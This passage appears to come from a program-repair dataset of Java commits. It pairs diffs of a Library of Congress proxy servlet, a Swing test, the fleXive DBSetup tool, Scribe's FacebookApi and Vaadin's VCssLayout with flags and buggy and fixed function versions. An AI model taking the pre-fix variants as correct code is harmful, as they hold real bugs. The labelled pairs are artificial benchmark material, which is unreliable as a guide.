org.apache.commons.httpclient.methods.InputStreamRequestEntity; import org.apache.commons.httpclient.methods.PostMethod; import gov.loc.ndmso.proxyfilter.Log; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.net.MalformedURLException; import java.net.URL; import java.util.Enumeration; /** * This class is responsible for a proxy http request. * It takes the incoming request and then it creates a new request to the target address and copies the response of that proxy request * to the response of the original request. * <p/> * This class uses the commons-httpclient classes from Apache. * <p/> * User: Joachim Ansorg, <[email protected]> * Date: 19.06.2008 * Time: 16:02:54 */ public class RequestProxy { private static final Log log = Log.getLog(RequestProxy.class); /** * This method performs the proxying of the request to the target address. * * @param target The target address. Has to be a fully qualified address. The request is send as-is to this address. * @param hsRequest The request data which should be send to the * @param hsResponse The response data which will contain the data returned by the proxied request to target. * @throws java.io.IOException Passed on from the connection logic. */ public static void execute(final String target, final HttpServletRequest hsRequest, final HttpServletResponse hsResponse) throws IOException { // log.info("execute, target is " + target); // log.info("response commit state: " + hsResponse.isCommitted()); if (target == null || "".equals(target) || "".equals(target.trim())) { // log.error("The target address is not given. Please provide a target address."); return; } // log.info("checking url"); final URL url; try { url = new URL(target); } catch (MalformedURLException e) { // log.error("The provided target url is not valid.", e); return; } // log.info("setting up the host configuration"); final HostConfiguration config = new HostConfiguration(); ProxyHost proxyHost = getUseProxyServer((String) hsRequest.getAttribute("use-proxy")); if (proxyHost != null) config.setProxyHost(proxyHost); final int port = url.getPort() != -1 ? url.getPort() : url.getDefaultPort(); config.setHost(url.getHost(), port, "http"); // log.info("config is " + config.toString()); final HttpMethod targetRequest = setupProxyRequest(hsRequest, url); if (targetRequest == null) { // log.error("Unsupported request method found: " + hsRequest.getMethod()); return; } //perform the request to the target server final HttpClient client = new HttpClient(new SimpleHttpConnectionManager()); //if (log.isInfoEnabled()) { // log.info("client state" + client.getState()); // log.info("client params" + client.getParams().toString()); // log.info("executeMethod / fetching data ..."); //} final int result = client.executeMethod(config, targetRequest); //copy the target response headers to our response setupResponseHeaders(targetRequest, hsResponse); - String binRegex = "(\\.(?i)(jpg|png|gif|bmp|mp3|mpg))"; + String binRegex = ".*\\.(?i)(jpg|tif|png|gif|bmp|mp3|mpg)(.*$)*"; + String binRegexRedux = ".*(?i)(\\/thumb)(.*$)*"; - if ( target.matches(binRegex) ) { - log.info("binRegex matched: " + target); + if ( target.matches(binRegex) || target.matches(binRegexRedux) ) { + // log.info("binRegex matched: " + target); InputStream originalResponseStream = targetRequest.getResponseBodyAsStream(); if (originalResponseStream != null) { if (targetRequest.getResponseHeaders().toString().matches("(?i).*content-type.*")) { PrintWriter responseStream = hsResponse.getWriter(); copyStreamText(targetRequest.getResponseBodyAsString(), responseStream); } else { OutputStream responseStream = hsResponse.getOutputStream(); copyStreamBinary(originalResponseStream, responseStream); } } } else { - log.info("binRegex NOT matched: " + target); + // log.info("binRegex NOT matched: " + target); String proxyResponseStr = targetRequest.getResponseBodyAsString(); // the body might be null, i.e. for responses with cache-headers which leave out the body if (proxyResponseStr != null) { //proxyResponseStr = proxyResponseStr.replaceAll("xqy", "jsp"); proxyResponseStr = proxyResponseStr.replaceAll("National Library Catalog", "Library of Congress Data Service"); proxyResponseStr = proxyResponseStr.replaceAll("Library of Congress collections", "Library of Congress bibliographic data"); proxyResponseStr = proxyResponseStr.replaceAll("Library of Congress Collections", "Library of Congress Bibliographic Data"); proxyResponseStr = proxyResponseStr.replaceAll("action=\"/", "action=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("href=\"/", "href=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("src=\"/", "src=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("url\\(/", "url\\(/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("/nlc/", "/lcds/"); PrintWriter responseStream = hsResponse.getWriter(); copyStreamText(proxyResponseStr, responseStream); } } // log.info("set up response, result code was " + result); targetRequest.releaseConnection(); } public static void copyStreamText(String in, PrintWriter out) throws IOException { out.write(in); } public static void copyStreamBinary(InputStream in, OutputStream out) throws IOException { byte[] buf = new byte[65536]; int count; while ((count = in.read(buf)) != -1) { out.write(buf, 0, count); } } public static ProxyHost getUseProxyServer(String useProxyServer) { ProxyHost proxyHost = null; if (useProxyServer != null) { String proxyHostStr = useProxyServer; int colonIdx = proxyHostStr.indexOf(':'); if (colonIdx != -1) { proxyHostStr = proxyHostStr.substring(0, colonIdx); String proxyPortStr = useProxyServer.substring(colonIdx + 1); if (proxyPortStr != null && proxyPortStr.length() > 0 && proxyPortStr.matches("[0-9]+")) { int proxyPort = Integer.parseInt(proxyPortStr); proxyHost = new ProxyHost(proxyHostStr, proxyPort); } else { proxyHost = new ProxyHost(proxyHostStr); } } else { proxyHost = new ProxyHost(proxyHostStr); } } return proxyHost; } private static HttpMethod setupProxyRequest(final HttpServletRequest hsRequest, final URL targetUrl) throws IOException { final String methodName = hsRequest.getMethod(); final HttpMethod method; if ("POST".equalsIgnoreCase(methodName)) { PostMethod postMethod = new PostMethod(); InputStreamRequestEntity inputStreamRequestEntity = new InputStreamRequestEntity(hsRequest.getInputStream()); postMethod.setRequestEntity(inputStreamRequestEntity); method = postMethod; } else if ("GET".equalsIgnoreCase(methodName)) { method = new GetMethod(); } else { // log.warn("Unsupported HTTP method requested: " + hsRequest.getMethod()); return null; } method.setFollowRedirects(false); method.setPath(targetUrl.getPath()); method.setQueryString(targetUrl.getQuery()); Enumeration e = hsRequest.getHeaderNames(); if (e != null) { while (e.hasMoreElements()) { String headerName = (String) e.nextElement(); if ("host".equalsIgnoreCase(headerName)) { //the host value is set by the http client continue; } else if ("content-length".equalsIgnoreCase(headerName)) { //the content-length is managed by the http client continue; } else if ("accept-encoding".equalsIgnoreCase(headerName)) { //the accepted encoding should only be those accepted by the http client. //The response stream should (afaik) be deflated. If our http client does not support //gzip then the response can not be unzipped and is delivered wrong. continue; } else if (headerName.toLowerCase().startsWith("cookie")) { //fixme : don't set any cookies in the proxied request, this needs a cleaner solution continue; } Enumeration values = hsRequest.getHeaders(headerName); while (values.hasMoreElements()) { String headerValue = (String) values.nextElement(); // log.info("setting proxy request parameter:" + headerName + ", value: " + headerValue); method.addRequestHeader(headerName, headerValue); } } } // add rs5/tomcat5 request header for ML method.addRequestHeader("X-Via", "tomcat5"); // log.info("proxy query string " + method.getQueryString()); return method; } private static void setupResponseHeaders(HttpMethod httpMethod, HttpServletResponse hsResponse) { //if ( log.isInfoEnabled() ) { // log.info("setupResponseHeaders"); // log.info("status text: " + httpMethod.getStatusText()); // log.info("status line: " + httpMethod.getStatusLine()); //} //filter the headers, which are copied from the proxy response. The http lib handles those itself. //Filtered out: the content encoding, the content length and cookies for (int i = 0; i < httpMethod.getResponseHeaders().length; i++) { Header h = httpMethod.getResponseHeaders()[i]; if ("content-encoding".equalsIgnoreCase(h.getName())) { continue; } else if ("content-length".equalsIgnoreCase(h.getName())) { continue; } else if ("transfer-encoding".equalsIgnoreCase(h.getName())) { continue; } else if (h.getName().toLowerCase().startsWith("cookie")) { //retrieving a cookie which sets the session id will change the calling session: bad! So we skip this header. continue; } else if (h.getName().toLowerCase().startsWith("set-cookie")) { //retrieving a cookie which sets the session id will change the calling session: bad! So we skip this header. continue; } hsResponse.addHeader(h.getName(), h.getValue()); // log.info("setting response parameter:" + h.getName() + ", value: " + h.getValue()); } // fix me what about the response footers? (httpMethod.getResponseFooters()) if (httpMethod.getStatusCode() != 200) { hsResponse.setStatus(httpMethod.getStatusCode()); } } }
false
true
public static void execute(final String target, final HttpServletRequest hsRequest, final HttpServletResponse hsResponse) throws IOException { // log.info("execute, target is " + target); // log.info("response commit state: " + hsResponse.isCommitted()); if (target == null || "".equals(target) || "".equals(target.trim())) { // log.error("The target address is not given. Please provide a target address."); return; } // log.info("checking url"); final URL url; try { url = new URL(target); } catch (MalformedURLException e) { // log.error("The provided target url is not valid.", e); return; } // log.info("setting up the host configuration"); final HostConfiguration config = new HostConfiguration(); ProxyHost proxyHost = getUseProxyServer((String) hsRequest.getAttribute("use-proxy")); if (proxyHost != null) config.setProxyHost(proxyHost); final int port = url.getPort() != -1 ? url.getPort() : url.getDefaultPort(); config.setHost(url.getHost(), port, "http"); // log.info("config is " + config.toString()); final HttpMethod targetRequest = setupProxyRequest(hsRequest, url); if (targetRequest == null) { // log.error("Unsupported request method found: " + hsRequest.getMethod()); return; } //perform the request to the target server final HttpClient client = new HttpClient(new SimpleHttpConnectionManager()); //if (log.isInfoEnabled()) { // log.info("client state" + client.getState()); // log.info("client params" + client.getParams().toString()); // log.info("executeMethod / fetching data ..."); //} final int result = client.executeMethod(config, targetRequest); //copy the target response headers to our response setupResponseHeaders(targetRequest, hsResponse); String binRegex = "(\\.(?i)(jpg|png|gif|bmp|mp3|mpg))"; if ( target.matches(binRegex) ) { log.info("binRegex matched: " + target); InputStream originalResponseStream = targetRequest.getResponseBodyAsStream(); if (originalResponseStream != null) { if (targetRequest.getResponseHeaders().toString().matches("(?i).*content-type.*")) { PrintWriter responseStream = hsResponse.getWriter(); copyStreamText(targetRequest.getResponseBodyAsString(), responseStream); } else { OutputStream responseStream = hsResponse.getOutputStream(); copyStreamBinary(originalResponseStream, responseStream); } } } else { log.info("binRegex NOT matched: " + target); String proxyResponseStr = targetRequest.getResponseBodyAsString(); // the body might be null, i.e. for responses with cache-headers which leave out the body if (proxyResponseStr != null) { //proxyResponseStr = proxyResponseStr.replaceAll("xqy", "jsp"); proxyResponseStr = proxyResponseStr.replaceAll("National Library Catalog", "Library of Congress Data Service"); proxyResponseStr = proxyResponseStr.replaceAll("Library of Congress collections", "Library of Congress bibliographic data"); proxyResponseStr = proxyResponseStr.replaceAll("Library of Congress Collections", "Library of Congress Bibliographic Data"); proxyResponseStr = proxyResponseStr.replaceAll("action=\"/", "action=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("href=\"/", "href=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("src=\"/", "src=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("url\\(/", "url\\(/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("/nlc/", "/lcds/"); PrintWriter responseStream = hsResponse.getWriter(); copyStreamText(proxyResponseStr, responseStream); } } // log.info("set up response, result code was " + result); targetRequest.releaseConnection(); }
public static void execute(final String target, final HttpServletRequest hsRequest, final HttpServletResponse hsResponse) throws IOException { // log.info("execute, target is " + target); // log.info("response commit state: " + hsResponse.isCommitted()); if (target == null || "".equals(target) || "".equals(target.trim())) { // log.error("The target address is not given. Please provide a target address."); return; } // log.info("checking url"); final URL url; try { url = new URL(target); } catch (MalformedURLException e) { // log.error("The provided target url is not valid.", e); return; } // log.info("setting up the host configuration"); final HostConfiguration config = new HostConfiguration(); ProxyHost proxyHost = getUseProxyServer((String) hsRequest.getAttribute("use-proxy")); if (proxyHost != null) config.setProxyHost(proxyHost); final int port = url.getPort() != -1 ? url.getPort() : url.getDefaultPort(); config.setHost(url.getHost(), port, "http"); // log.info("config is " + config.toString()); final HttpMethod targetRequest = setupProxyRequest(hsRequest, url); if (targetRequest == null) { // log.error("Unsupported request method found: " + hsRequest.getMethod()); return; } //perform the request to the target server final HttpClient client = new HttpClient(new SimpleHttpConnectionManager()); //if (log.isInfoEnabled()) { // log.info("client state" + client.getState()); // log.info("client params" + client.getParams().toString()); // log.info("executeMethod / fetching data ..."); //} final int result = client.executeMethod(config, targetRequest); //copy the target response headers to our response setupResponseHeaders(targetRequest, hsResponse); String binRegex = ".*\\.(?i)(jpg|tif|png|gif|bmp|mp3|mpg)(.*$)*"; String binRegexRedux = ".*(?i)(\\/thumb)(.*$)*"; if ( target.matches(binRegex) || target.matches(binRegexRedux) ) { // log.info("binRegex matched: " + target); InputStream originalResponseStream = targetRequest.getResponseBodyAsStream(); if (originalResponseStream != null) { if (targetRequest.getResponseHeaders().toString().matches("(?i).*content-type.*")) { PrintWriter responseStream = hsResponse.getWriter(); copyStreamText(targetRequest.getResponseBodyAsString(), responseStream); } else { OutputStream responseStream = hsResponse.getOutputStream(); copyStreamBinary(originalResponseStream, responseStream); } } } else { // log.info("binRegex NOT matched: " + target); String proxyResponseStr = targetRequest.getResponseBodyAsString(); // the body might be null, i.e. for responses with cache-headers which leave out the body if (proxyResponseStr != null) { //proxyResponseStr = proxyResponseStr.replaceAll("xqy", "jsp"); proxyResponseStr = proxyResponseStr.replaceAll("National Library Catalog", "Library of Congress Data Service"); proxyResponseStr = proxyResponseStr.replaceAll("Library of Congress collections", "Library of Congress bibliographic data"); proxyResponseStr = proxyResponseStr.replaceAll("Library of Congress Collections", "Library of Congress Bibliographic Data"); proxyResponseStr = proxyResponseStr.replaceAll("action=\"/", "action=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("href=\"/", "href=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("src=\"/", "src=\"/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("url\\(/", "url\\(/diglib/"); proxyResponseStr = proxyResponseStr.replaceAll("/nlc/", "/lcds/"); PrintWriter responseStream = hsResponse.getWriter(); copyStreamText(proxyResponseStr, responseStream); } } // log.info("set up response, result code was " + result); targetRequest.releaseConnection(); }
diff --git a/swing/src/java/test/org/uncommons/swing/SwingBackgroundTaskTest.java b/swing/src/java/test/org/uncommons/swing/SwingBackgroundTaskTest.java index 80dbd7b..8a5a4bf 100644 --- a/swing/src/java/test/org/uncommons/swing/SwingBackgroundTaskTest.java +++ b/swing/src/java/test/org/uncommons/swing/SwingBackgroundTaskTest.java @@ -1,101 +1,100 @@ // ============================================================================ // Copyright 2006-2009 Daniel W. Dyer // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ============================================================================ package org.uncommons.swing; import javax.swing.SwingUtilities; import org.testng.Reporter; import org.testng.annotations.Test; /** * Unit test for {@link SwingBackgroundTask}. Ensures code is * executed on correct threads. * @author Daniel Dyer */ public class SwingBackgroundTaskTest { private boolean taskExecuted; private boolean taskOnEDT; private boolean postProcessingExecuted; private boolean postProcessingOnEDT; private boolean exceptionHandled; @Test public void testExecutionThreads() throws InterruptedException { SwingBackgroundTask<Object> testTask = new SwingBackgroundTask<Object>() { @Override protected Object performTask() { taskExecuted = true; taskOnEDT = SwingUtilities.isEventDispatchThread(); return null; } @Override protected void postProcessing(Object result) { super.postProcessing(result); postProcessingExecuted = true; postProcessingOnEDT = SwingUtilities.isEventDispatchThread(); } }; testTask.execute(); testTask.waitForCompletion(); assert taskExecuted : "Task was not executed."; assert postProcessingExecuted : "Post-processing was not executed."; assert !taskOnEDT : "Task was executed on EDT."; assert postProcessingOnEDT : "Post-processing was not executed on EDT."; } /** * Exceptions in the {@link SwingBackgroundTask#performTask()} method should * not be swallowed, they must be passed to the * {@link SwingBackgroundTask#onError(Throwable)} method. */ @Test public void testExceptionInTask() throws InterruptedException { SwingBackgroundTask<Object> testTask = new SwingBackgroundTask<Object>() { @Override protected Object performTask() { throw new UnsupportedOperationException("Task failed."); } @Override protected void onError(Throwable throwable) { - super.onError(throwable); // Make sure we've been passed the right exception. if (throwable.getClass().equals(UnsupportedOperationException.class)) { exceptionHandled = true; } else { Reporter.log("Wrong exception class: " + throwable.getClass()); } } }; testTask.execute(); testTask.waitForCompletion(); assert exceptionHandled : "Exception was not handled."; } }
true
true
public void testExceptionInTask() throws InterruptedException { SwingBackgroundTask<Object> testTask = new SwingBackgroundTask<Object>() { @Override protected Object performTask() { throw new UnsupportedOperationException("Task failed."); } @Override protected void onError(Throwable throwable) { super.onError(throwable); // Make sure we've been passed the right exception. if (throwable.getClass().equals(UnsupportedOperationException.class)) { exceptionHandled = true; } else { Reporter.log("Wrong exception class: " + throwable.getClass()); } } }; testTask.execute(); testTask.waitForCompletion(); assert exceptionHandled : "Exception was not handled."; }
public void testExceptionInTask() throws InterruptedException { SwingBackgroundTask<Object> testTask = new SwingBackgroundTask<Object>() { @Override protected Object performTask() { throw new UnsupportedOperationException("Task failed."); } @Override protected void onError(Throwable throwable) { // Make sure we've been passed the right exception. if (throwable.getClass().equals(UnsupportedOperationException.class)) { exceptionHandled = true; } else { Reporter.log("Wrong exception class: " + throwable.getClass()); } } }; testTask.execute(); testTask.waitForCompletion(); assert exceptionHandled : "Exception was not handled."; }
diff --git a/src/framework/java/com/flexive/tools/db/DBSetup.java b/src/framework/java/com/flexive/tools/db/DBSetup.java index 52ff0ebc..a463dec1 100644 --- a/src/framework/java/com/flexive/tools/db/DBSetup.java +++ b/src/framework/java/com/flexive/tools/db/DBSetup.java @@ -1,111 +1,115 @@ /*************************************************************** * This file is part of the [fleXive](R) framework. * * Copyright (c) 1999-2009 * UCS - unique computing solutions gmbh (http://www.ucs.at) * All rights reserved * * The [fleXive](R) project is free software; you can redistribute * it and/or modify it under the terms of the GNU Lesser General Public * License version 2.1 or higher as published by the Free Software Foundation. * * The GNU Lesser General Public License can be found at * http://www.gnu.org/licenses/lgpl.html. * A copy is found in the textfile LGPL.txt and important notices to the * license from the author are found in LICENSE.txt distributed with * these libraries. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * For further information about UCS - unique computing solutions gmbh, * please see the company website: http://www.ucs.at * * For further information about [fleXive](R), please see the * project website: http://www.flexive.org * * * This copyright notice MUST APPEAR in all copies of the file! ***************************************************************/ package com.flexive.tools.db; import com.flexive.core.storage.DBStorage; import com.flexive.core.storage.StorageManager; import java.sql.Connection; import java.sql.SQLException; /** * Database setup tool * <p/> * Required libraries in classpath: * <needed jdbc drivers>, commons-lang-2.4.jar, commons-logging.jar, flexive-storage-*.jar, flexive-shared.jar, flexive-ejb.jar * <p/> * Example commandline for MySQL (execute in build/framework/jar): * java -classpath ../../../lib/mysql-connector-java-5.0.8-bin.jar:../../lib/commons-lang-2.4.jar:../../lib/commons-logging.jar:flexive-dbsetup.jar com.flexive.tools.db.DBSetup MySQL fxConf fxConf fxDiv true true root a jdbc:mysql://127.0.0.1:3306/ ?useUnicode=true\&characterEncoding=UTF-8 * * @author Markus Plesser ([email protected]), UCS - unique computing solutions gmbh (http://www.ucs.at) */ public class DBSetup { public static void main(String[] args) { if (!(args.length == 9 || args.length == 10)) { System.err.println("Usage: " + DBSetup.class.getCanonicalName() + " vendor database schemaConfig schemaDivision createConfig createDivision user password URL [URLParameter]"); return; } final String vendor = args[0]; final String db = args[1]; final String schemaConfig = args[2]; final String schemaDivision = args[3]; final boolean createConfig = Boolean.valueOf(args[4]); final boolean createDivision = Boolean.valueOf(args[5]); final String user = args[6]; String pwd = args[7]; if ("()".equals(pwd)) //marker for empty password pwd = ""; final String jdbcURL = args[8]; final String jdbcParams = (args.length == 9 ? null : args[9]); System.out.println("Setting up database for vendor: " + vendor + " (config:" + schemaConfig + ",division:" + schemaDivision + ")"); DBStorage storage = StorageManager.getStorageImpl(args[0]); if (storage == null) { System.err.println("No matching storage implementation found!"); return; } Connection con = null; + int returnCode = 0; try { if (createConfig) { try { con = storage.getConnection(db, schemaConfig, jdbcURL, jdbcParams, user, pwd, createConfig, createConfig, true); storage.initConfiguration(con, schemaConfig, true); } catch (Exception e) { System.err.println("Error setting up configuration: " + e.getMessage()); + returnCode = 1; } } if (createDivision) { try { if (con == null) con = storage.getConnection(db, schemaDivision, jdbcURL, jdbcParams, user, pwd, createDivision, createDivision, true); storage.initDivision(con, schemaDivision, true); } catch (Exception e) { System.err.println("Error setting up division: " + e.getMessage()); + returnCode = 1; } finally { try { if (con != null) con.close(); } catch (SQLException e) { //ignore } } } } finally { try { if (con != null) con.close(); } catch (SQLException e) { //ignore } - } + } + System.exit(returnCode); } }
false
true
public static void main(String[] args) { if (!(args.length == 9 || args.length == 10)) { System.err.println("Usage: " + DBSetup.class.getCanonicalName() + " vendor database schemaConfig schemaDivision createConfig createDivision user password URL [URLParameter]"); return; } final String vendor = args[0]; final String db = args[1]; final String schemaConfig = args[2]; final String schemaDivision = args[3]; final boolean createConfig = Boolean.valueOf(args[4]); final boolean createDivision = Boolean.valueOf(args[5]); final String user = args[6]; String pwd = args[7]; if ("()".equals(pwd)) //marker for empty password pwd = ""; final String jdbcURL = args[8]; final String jdbcParams = (args.length == 9 ? null : args[9]); System.out.println("Setting up database for vendor: " + vendor + " (config:" + schemaConfig + ",division:" + schemaDivision + ")"); DBStorage storage = StorageManager.getStorageImpl(args[0]); if (storage == null) { System.err.println("No matching storage implementation found!"); return; } Connection con = null; try { if (createConfig) { try { con = storage.getConnection(db, schemaConfig, jdbcURL, jdbcParams, user, pwd, createConfig, createConfig, true); storage.initConfiguration(con, schemaConfig, true); } catch (Exception e) { System.err.println("Error setting up configuration: " + e.getMessage()); } } if (createDivision) { try { if (con == null) con = storage.getConnection(db, schemaDivision, jdbcURL, jdbcParams, user, pwd, createDivision, createDivision, true); storage.initDivision(con, schemaDivision, true); } catch (Exception e) { System.err.println("Error setting up division: " + e.getMessage()); } finally { try { if (con != null) con.close(); } catch (SQLException e) { //ignore } } } } finally { try { if (con != null) con.close(); } catch (SQLException e) { //ignore } } }
public static void main(String[] args) { if (!(args.length == 9 || args.length == 10)) { System.err.println("Usage: " + DBSetup.class.getCanonicalName() + " vendor database schemaConfig schemaDivision createConfig createDivision user password URL [URLParameter]"); return; } final String vendor = args[0]; final String db = args[1]; final String schemaConfig = args[2]; final String schemaDivision = args[3]; final boolean createConfig = Boolean.valueOf(args[4]); final boolean createDivision = Boolean.valueOf(args[5]); final String user = args[6]; String pwd = args[7]; if ("()".equals(pwd)) //marker for empty password pwd = ""; final String jdbcURL = args[8]; final String jdbcParams = (args.length == 9 ? null : args[9]); System.out.println("Setting up database for vendor: " + vendor + " (config:" + schemaConfig + ",division:" + schemaDivision + ")"); DBStorage storage = StorageManager.getStorageImpl(args[0]); if (storage == null) { System.err.println("No matching storage implementation found!"); return; } Connection con = null; int returnCode = 0; try { if (createConfig) { try { con = storage.getConnection(db, schemaConfig, jdbcURL, jdbcParams, user, pwd, createConfig, createConfig, true); storage.initConfiguration(con, schemaConfig, true); } catch (Exception e) { System.err.println("Error setting up configuration: " + e.getMessage()); returnCode = 1; } } if (createDivision) { try { if (con == null) con = storage.getConnection(db, schemaDivision, jdbcURL, jdbcParams, user, pwd, createDivision, createDivision, true); storage.initDivision(con, schemaDivision, true); } catch (Exception e) { System.err.println("Error setting up division: " + e.getMessage()); returnCode = 1; } finally { try { if (con != null) con.close(); } catch (SQLException e) { //ignore } } } } finally { try { if (con != null) con.close(); } catch (SQLException e) { //ignore } } System.exit(returnCode); }
diff --git a/src/main/java/org/scribe/builder/api/FacebookApi.java b/src/main/java/org/scribe/builder/api/FacebookApi.java index 60be476..d85ff3b 100644 --- a/src/main/java/org/scribe/builder/api/FacebookApi.java +++ b/src/main/java/org/scribe/builder/api/FacebookApi.java @@ -1,34 +1,34 @@ package org.scribe.builder.api; import org.scribe.model.*; import org.scribe.utils.*; import static org.scribe.utils.URLUtils.*; public class FacebookApi extends DefaultApi20 { private static final String AUTHORIZE_URL = "https://www.facebook.com/dialog/oauth?client_id=%s&redirect_uri=%s"; private static final String SCOPED_AUTHORIZE_URL = AUTHORIZE_URL + "&scope=%s"; @Override public String getAccessTokenEndpoint() { return "https://graph.facebook.com/oauth/access_token"; } @Override public String getAuthorizationUrl(OAuthConfig config) { Preconditions.checkValidUrl(config.getCallback(), "Must provide a valid url as callback. Facebook does not support OOB"); // Append scope if present if(config.hasScope()) { - return String.format(SCOPED_AUTHORIZE_URL, formURLEncode(config.getCallback()), formURLEncode(config.getScope())); + return String.format(SCOPED_AUTHORIZE_URL, config.getApiKey(), formURLEncode(config.getCallback()), formURLEncode(config.getScope())); } else { return String.format(AUTHORIZE_URL, config.getApiKey(), formURLEncode(config.getCallback())); } } }
true
true
public String getAuthorizationUrl(OAuthConfig config) { Preconditions.checkValidUrl(config.getCallback(), "Must provide a valid url as callback. Facebook does not support OOB"); // Append scope if present if(config.hasScope()) { return String.format(SCOPED_AUTHORIZE_URL, formURLEncode(config.getCallback()), formURLEncode(config.getScope())); } else { return String.format(AUTHORIZE_URL, config.getApiKey(), formURLEncode(config.getCallback())); } }
public String getAuthorizationUrl(OAuthConfig config) { Preconditions.checkValidUrl(config.getCallback(), "Must provide a valid url as callback. Facebook does not support OOB"); // Append scope if present if(config.hasScope()) { return String.format(SCOPED_AUTHORIZE_URL, config.getApiKey(), formURLEncode(config.getCallback()), formURLEncode(config.getScope())); } else { return String.format(AUTHORIZE_URL, config.getApiKey(), formURLEncode(config.getCallback())); } }
diff --git a/src/com/vaadin/terminal/gwt/client/ui/VCssLayout.java b/src/com/vaadin/terminal/gwt/client/ui/VCssLayout.java index bf13530d7..90cf102cb 100644 --- a/src/com/vaadin/terminal/gwt/client/ui/VCssLayout.java +++ b/src/com/vaadin/terminal/gwt/client/ui/VCssLayout.java @@ -1,299 +1,300 @@ /* @ITMillApache2LicenseForJavaFiles@ */ package com.vaadin.terminal.gwt.client.ui; import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.Set; import com.google.gwt.dom.client.Style; import com.google.gwt.event.dom.client.DomEvent.Type; import com.google.gwt.event.shared.EventHandler; import com.google.gwt.event.shared.HandlerRegistration; import com.google.gwt.user.client.DOM; import com.google.gwt.user.client.Element; import com.google.gwt.user.client.ui.FlowPanel; import com.google.gwt.user.client.ui.SimplePanel; import com.google.gwt.user.client.ui.Widget; import com.vaadin.terminal.gwt.client.ApplicationConnection; import com.vaadin.terminal.gwt.client.BrowserInfo; import com.vaadin.terminal.gwt.client.Container; import com.vaadin.terminal.gwt.client.Paintable; import com.vaadin.terminal.gwt.client.RenderSpace; import com.vaadin.terminal.gwt.client.StyleConstants; import com.vaadin.terminal.gwt.client.UIDL; import com.vaadin.terminal.gwt.client.Util; import com.vaadin.terminal.gwt.client.VCaption; import com.vaadin.terminal.gwt.client.ValueMap; public class VCssLayout extends SimplePanel implements Paintable, Container { public static final String TAGNAME = "csslayout"; public static final String CLASSNAME = "v-" + TAGNAME; public static final String CLICK_EVENT_IDENTIFIER = "click"; private FlowPane panel = new FlowPane(); private Element margin = DOM.createDiv(); private LayoutClickEventHandler clickEventHandler = new LayoutClickEventHandler( this, CLICK_EVENT_IDENTIFIER) { @Override protected Paintable getChildComponent(Element element) { return panel.getComponent(element); } @Override protected <H extends EventHandler> HandlerRegistration registerHandler( H handler, Type<H> type) { return addDomHandler(handler, type); } }; private boolean hasHeight; private boolean hasWidth; public VCssLayout() { super(); getElement().appendChild(margin); setStyleName(CLASSNAME); margin.setClassName(CLASSNAME + "-margin"); setWidget(panel); } @Override protected Element getContainerElement() { return margin; } @Override public void setWidth(String width) { super.setWidth(width); // panel.setWidth(width); hasWidth = width != null && !width.equals(""); } @Override public void setHeight(String height) { super.setHeight(height); // panel.setHeight(height); hasHeight = height != null && !height.equals(""); } public void updateFromUIDL(UIDL uidl, ApplicationConnection client) { if (client.updateComponent(this, uidl, true)) { return; } clickEventHandler.handleEventHandlerRegistration(client); final VMarginInfo margins = new VMarginInfo(uidl .getIntAttribute("margins")); setStyleName(margin, CLASSNAME + "-" + StyleConstants.MARGIN_TOP, margins.hasTop()); setStyleName(margin, CLASSNAME + "-" + StyleConstants.MARGIN_RIGHT, margins.hasRight()); setStyleName(margin, CLASSNAME + "-" + StyleConstants.MARGIN_BOTTOM, margins.hasBottom()); setStyleName(margin, CLASSNAME + "-" + StyleConstants.MARGIN_LEFT, margins.hasLeft()); setStyleName(margin, CLASSNAME + "-" + "spacing", uidl .hasAttribute("spacing")); panel.updateFromUIDL(uidl, client); } public boolean hasChildComponent(Widget component) { return panel.hasChildComponent(component); } public void replaceChildComponent(Widget oldComponent, Widget newComponent) { panel.replaceChildComponent(oldComponent, newComponent); } public void updateCaption(Paintable component, UIDL uidl) { panel.updateCaption(component, uidl); } public class FlowPane extends FlowPanel { private final HashMap<Widget, VCaption> widgetToCaption = new HashMap<Widget, VCaption>(); private ApplicationConnection client; public FlowPane() { super(); setStyleName(CLASSNAME + "-container"); } public void updateFromUIDL(UIDL uidl, ApplicationConnection client) { // for later requests this.client = client; final ArrayList<Widget> oldWidgets = new ArrayList<Widget>(); for (final Iterator<Widget> iterator = iterator(); iterator .hasNext();) { oldWidgets.add(iterator.next()); } clear(); ValueMap mapAttribute = null; if (uidl.hasAttribute("css")) { mapAttribute = uidl.getMapAttribute("css"); } for (final Iterator<Object> i = uidl.getChildIterator(); i .hasNext();) { final UIDL r = (UIDL) i.next(); final Paintable child = client.getPaintable(r); if (oldWidgets.contains(child)) { oldWidgets.remove(child); } add((Widget) child); if (mapAttribute != null && mapAttribute.containsKey(r.getId())) { String css = null; try { Style style = ((Widget) child).getElement().getStyle(); css = mapAttribute.getString(r.getId()); String[] cssRules = css.split(";"); for (int j = 0; j < cssRules.length; j++) { String[] rule = cssRules[j].split(":"); if (rule.length == 0) { continue; } else { style.setProperty( makeCamelCase(rule[0].trim()), rule[1] .trim()); } } } catch (Exception e) { ApplicationConnection.getConsole().log( "CssLayout encounterd invalid css string: " + css); } } if (!r.getBooleanAttribute("cached")) { child.updateFromUIDL(r, client); } } // loop oldWidgetWrappers that where not re-attached and unregister // them - for (final Iterator<Widget> it = oldWidgets.iterator(); it - .hasNext();) { - final Paintable w = (Paintable) 